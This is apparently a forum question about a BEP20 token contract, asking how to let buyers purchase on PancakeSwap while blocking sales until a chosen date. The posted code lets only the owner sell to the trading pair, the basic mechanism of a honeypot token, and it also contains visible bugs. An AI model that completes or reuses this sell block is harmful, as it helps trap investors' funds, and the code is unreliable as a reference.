Does anybody know how can we prevent a token from being sold in dex? I mean, buyers are able to buy from PCS but only on a certain date be able to start selling the tokens?
I have implemented IERC20, and uniswap interfaces
Also here is my core contract _transfer function:
function _transfer(address sender, address recipient, uint256 amount) private {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
//require(sellingIsEnabled, "Bep20: selling not started yet");
bool isSell = recipient == uniswapV2Pair;
bool isBuy = sender == uniswapV2Pair;
require(!isSell || (sender == owner()));
if (isSell) {
if(sellingIsEnabled)
{
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}else{
swapTokensForEth(0);
}
}
if (isBuy) {
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
return;
}
//super.Transfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
and this is the swap function(i think it has something with selling the token based on uniswap documentation, but I'm not sure):
function swapTokensForEth(uint256 tokenAmount) private {
// generate the uniswap pair path of token -> weth
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
// make the swap
uniswapV2Router.swapExactTokensForETH(
tokenAmount,
0, // accept any amount of ETH
path,
address(this), // The contract
block.timestamp
);
emit SwapTokensForETH(tokenAmount, path);
}
note:
bool public sellingIsEnabled = true;
but when I make sellingIsEnabled
to false
, the sell transaction still happens.
how can I prevent token get sold if !sellingIsEnabled
?